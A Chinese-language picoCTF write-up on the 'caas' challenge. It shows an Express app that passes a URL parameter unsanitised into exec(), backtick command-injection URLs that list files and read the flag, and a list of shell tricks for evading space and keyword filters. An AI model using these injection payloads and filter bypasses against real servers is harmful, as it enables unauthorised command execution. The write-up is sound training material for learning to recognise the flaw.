## 首頁(其他picoCTF writeup) https://hackmd.io/@sunfrancis12/ry_LLAgp3 作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12 ## caas 這題十分簡單,進去網頁,他叫我們試試看輸入message  只要我們在網址輸入meassage,他就會顯示我們剛剛的輸入結果  來看看題目提供的index.js ``` const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => { if (error) return res.status(500).end(); res.type('txt').send(stdout).end(); }); }); app.listen(3000, () => { console.log('listening'); }); ``` 重點在於exec()這個function ``` exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) ``` exec()和eval()可以將()裡的字串當作指令來執行,[詳情看](https://steam.oxxostudio.tw/category/python/basic/builtin-eval-exec.html) ``` exec(`print("HI")`) => print("hi") ``` 到這裡我們的目標就很清楚了,就是做path traversal,我們先ls看看,輸入網址如下 ``` https://caas.mars.picoctf.net/cowsay/`ls` ``` 伺服器端看到的指令會如下 ``` exec(`/usr/games/cowsay `ls``) ``` 網站結果如下:  我們只要將falg.txt顯示出來就是答案了,沒錯就是用我們的cat指令 ``` https://caas.mars.picoctf.net/cowsay/`cat flag` ``` ## 各種花式cat方法 在這題的情況中,伺服器前後端都並未有字元檢查機制,但是我們還是可以學學其他各種神奇的cat方式 ### 不用空格的情況下 ``` cat<TAB>/flag (僅限網頁輸入) cat</flag #將flag的內容導向cat {cat,/flag} cat$IFSflag #IFS = Input Feild Separators (shell語法) ``` ``` X=$'cat\x20flag'&&$X OR X=$'cat\x20flag'|$X ``` #這是shell語法,`$'...'`代表其執行結果,`$a`則是代表變數`a`的value ``` hahaCTF{adasdasdsads} #此為flag.txt的內容 x = $'cat flag.txt' # $x = hahaCTF{adasdasdsads} ``` 再使用`&&`後續執行`$X`的結果 --- ### 使用禁詞表 假如flag這個單字被禁了,我們還有以下做法: ``` cat f'la'g OR cat f"la"g cat f\la\g cat f?a? #前提是需要檔案名稱字數(含副檔名) cat f* #印出所有f開頭的檔案 ``` ``` cat ${HOME:0:1}tmp${HOME:0:1}flag #等同/tmp/flag ``` `${HOME:0:1}`中的`HOME`是預設的[環境變數](https://zonego.tw/2022/11/29/linux-path/),儲存使用者的家目錄位址,預設的vlaue為`HOME=/home/{user}`,而`${HOME:0:1}`等同於`"/home/{user}"[0:1]` = `"/"` 可以在終端機輸入`env | grep HOME`  > 以上指令整理自: > https://www.youtube.com/watch?v=a5vrGYsKc_A&t=10595s&ab_channel=VulnerableNeko ### 題外話 ~~以下結果僅供參考~~  大家無聊的話也可以試試看w ``` cat f`la`g ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up